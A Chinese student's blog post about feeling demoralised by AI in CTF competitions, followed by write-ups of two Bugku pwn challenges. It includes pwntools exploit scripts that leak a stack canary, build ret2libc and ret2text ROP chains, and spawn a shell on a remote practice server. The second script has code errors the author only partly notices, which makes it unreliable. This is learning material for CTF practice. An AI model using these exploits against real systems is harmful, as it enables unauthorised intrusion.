2057 字
10 分钟

歧路慢慢

2026-03-16
2026-04-16
浏览量 加载中...

说实话,在这个被各种大模型冲击刺激的环境下,认真做事的人很容易就失去动力,因为,当别人都在agent的时候,你不用,那你就等着被ai这个大运创飞,这是我目前的感受,我也不是纯手搓的人,但每次想要手搓时,就会发现,以目前所掌握的技能或者说所拥有的知识,根本就不足以解出哪些为了防ai再加强的题目,对此,我感到很沮丧,我不想被ai奴役,探姬师傅说的其实很对,你不可能因为agent发展成这样,就要求别人不用,这就像我以前看见的一篇文章:DDT。

虽然要将两者放在一起谈很不对,但事实就是,ai太好用了它很取代很多我们人工的工作,甚至时代替我们去做题,就像之前krauq师傅说的那样,当ai拿到这个ctf的世界第一后,那我们所作的还有意义吗? 其实之前我还没有在意这些事情,只想着做好自己的事就好了,但,当isctf过去后,参加的unictf,shctf,长城杯,suctf,打的比赛越多,越能感受到自己的渺小,我才大一,去年7月接触的ctf,当时的决定是一时兴起的,但我也坚持到现在了,做的越多,学的越多,就会感觉到自己其实到头来什么也不会,完全失去了动力。

我不想说是ai毁了ctf,毕竟我才学习没多久,打的比赛也没多少,但是就最近的心境来看,我已经有了想要退出的想法了。

140694427_p0_master1200

感觉这么fw的我只配滚回去玩游戏了。

哎。

说实话,现在的心态就是这样悲观。我也不知道怎么调整,没招了。

这篇文章最主要的目的也就是给大家说一下最近的学习状态吧,以及我有一个转换学习思路的办法,说是办法其实也只是一个待尝试的想法,也不知道有没有效果。

我感觉我得自己ban自己的ai了,也不要想着什么边学习边用,直接ban,古法做题做一段时间,能寻求的帮助只有互联网以及wp,学长和ai什么的全ban。


一.bugku_pwn_canary2#

这一题我的初步思路就是ret2libc。

image-20260316195459312

根据在ida里面的字符串搜索,我们找不到其他能直接使用的东西,函数部分也不存在什么后门函数。

所以猜测大概率是ret2libc。

image-20260316195614233

通过在虚拟机里面进行信息搜集可以发现不需要绕pie,也就意味着可以直接使用静态地址,然后存在canary金丝雀,说明需要进行一个canary绕过的办法。

image-20260316195718828

看ida中的main函数,我们可以发现一个是三个输入,一个是name,一个是introduce,还有一个就是say,其中,name的输入无关紧要,直接随便输入就行,关键是后面的两个输入。

通过对stack观察,还有在pwndbg中调试,我们可以找到canary的位置。

image-20260316195836543

image-20260316200112884

可以找到canary应该就是这个rbp上面那个-008的位置,即0x18。从buf的输入到canary。

思路健全了但我其实是不会写代码的,所以花了5金币直接买了wp开始分析,怎么写代码。

首先就是正常的加载程序以及为后面的编程创造便捷的条件。

from pwn import * #引入pwntools
context(log_level='debug', os='linux', arch='amd64') #定义系统和模式,测试,linux,64位
p = remote('171.80.2.169', 14698) #远程环境
elf = ELF('./pwn')
libc = ELF('./libc-2.27.so') #将两个文件以可执行的二进制文件进行加载

之后就是基本信息的提取。

rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]

这个写法其实我也不太懂,按我自己的大致理解就是将rop已经设置好为加载二进制程序,然后直接寻找ROPgadget的工具调用寻找pop rdi,ret和ret的位置,如果是我自己写,应该就是直接调用ROPgadget寻找函数的硬编码地址,然后赋值在代码中,这边在代码的直接调用,还是我第一次见,稍微查了一下,当ROP(elf)后,程序的gadget就已经有了,后面的find_gadget就只是在缓存的gadget里面寻找我们要的地址。

这个变就是常用的两个地址,一个pop rdi,ret,rop链必备,ret是用来栈对齐的,有什么system函数要求8字节,我其实是不太懂这些的。

p.recvuntil(b"Enter your name: ")
p.sendline(b"gogogo")
p.recvuntil(b"Introduce yourself: ")
payload1 = b"A" * 24
p.sendline(payload1)
p.recvuntil(payload1)
leaked_canary = u64(p.recv(8).ljust(8, b'\x00')) - 0xa
log.success(f"canary = {hex(leaked_canary)}")

这边就是进行canary的泄露,通过构造padding字节填充,然后读取。

说实话,我有手操测试一番,24个a和25个a,十分明显,25个a就将canary的末尾字节填为了a,0x61.

u64就是将数据转换了64为小端序,用recv(8)就是只读8字节的数据,如果不够用后面的ljust补充0到8字节,后面之所以-0xa,因为sendline会在后面自动加\n,即换行,所以.0xa。

读取canary的目的就是为了防止后面如果canary跟原来的不一样,会报错直接退出。

p.recvuntil(b"Say something: ")
payload2 = b"A" * 24
payload2 += p64(leaked_canary)
payload2 += p64(0)
payload2 += p64(pop_rdi)
payload2 += p64(elf.got['puts'])
payload2 += p64(elf.plt['puts'])
payload2 += p64(elf.sym['main'])
p.send(payload2)
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))

这边就是第一个rop链了,用pop rdi,ret将puts在got表中的地址塞入寄存器中,然后用puts函数读出地址,最后回到main函数,完成实际puts函数地址的泄露,然后就可以用来计算libc在程序的基地址。

libc_base = puts_addr - libc.sym['puts']
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b"/bin/sh"))
log.success(f"libc_base = {hex(libc_base)}")
log.success(f"system = {hex(system)}")
log.success(f"binsh = {hex(binsh)}")
p.recvuntil(b"Enter your name: ")
p.sendline(b"gogogo")
p.recvuntil(b"Introduce yourself: ")
p.sendline(b"A" * 24)
p.recvuntil(b"Say something: ")
payload_final = b"A" * 24
payload_final += p64(leaked_canary)
payload_final += p64(0)
payload_final += p64(ret)
payload_final += p64(pop_rdi)
payload_final += p64(binsh)
payload_final += p64(system)
log.info("sending final payload")
p.send(payload_final)

有了libc的基础地址,就可以利用libc函数的偏移和libc基址计算system和/bin/sh的偏移地址了,然后就用rop链打入程序内部得到shell。

反省:由于看视频和研究过几次的pwn ret2libc,思路是完全正确的,现在就差代码,这个代码,我实在是有很多写法不太懂所以,现在也只能以学习的态度来看,争取以后能手搓。

积累:#

64位地址获取#

leaked_canary = u64(p.recv(8).ljust(8, b'\x00')) - 0xa
当存在sendline的发送数据,需要用-0xa的方法消除获取地址的污染
64位的程序地址位8字节,ljust就是用来补足地址的。

利用elf直接加载函数#

payload2 += p64(elf.got['puts']) #加载函数在got表中的解析真实地址
payload2 += p64(elf.plt['puts']) #plt都是函数(目前理解)
payload2 += p64(elf.sym['main']) #sym是寻找符号的意思把

pwntools中gadget使用#

rop = ROP(elf) #加载rop
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] #find_gadget寻找对应一小段指令的地址
ret = rop.find_gadget(['ret'])[0]

二.bugku_pwn_Easy_int#

image-20260316210849219

根据ida初步分析程序,为整数溢出,加rop。

image-20260316210934194

通过整数溢出到负数进入vuln函数。

image-20260316211002728

image-20260316211011082

image-20260316211019526

ret2text,将bin/sh参数传给system函数完成调用系统,获得shell。

现在关键在于如何构造整数溢出。

因为在64位机器中这个整数能储存的最大值为2的31次方-1,如果我们输入2的31次方,就溢出成负数。

所以先输入2的31次方进入vuln函数,在通过栈溢出,构造rop链:padding+pop_rdi+binsh+system。

依旧是代码问题。

先尝试分部分写出。

ok,还行,手搓出来了。

from pwn import *
context=(log_level="debug",os="linux",arch="amd64")
p=remote('171.80.2.169',15203)
elf=ELF(./pwn)
system=elf.plt['system']
binsh=next(elf.search(b'/bin/sh'))
rop=ROP(elf)
pop_rdi=rop.find_gadget(['pop rdi','ret']).address
a=2
b=pow(2,31) #str(pow(2, 31)).encode()
offset=0x28
p.recvuntil(b"Input your int:")
p.send(b)
p.recvuntil(b"Congratulations!")
payload= b'a' *offset+p64(pop_rdi)+p64(binsh)+p64(system)
p.send(payload)
p.interactive()

唯一不对的就是这个我直接传输2的31次方不对,要转换为字节流。

积累:#

整数溢出传输的是字节流#

str(pow(2, 31)).encode() 2的31次方字节流

2026.03.16


  • 版权声明:本文由 余林阳 创作,转载请注明出处。

喜欢这篇文章吗?

点击右侧按钮为文章点赞,让更多人看到!

歧路慢慢
https://sliver-yu.cc/posts/change/歧路慢慢/
作者
余林阳
发布于
2026-03-16
许可协议
CC BY-NC-SA 4.0

评论区

目录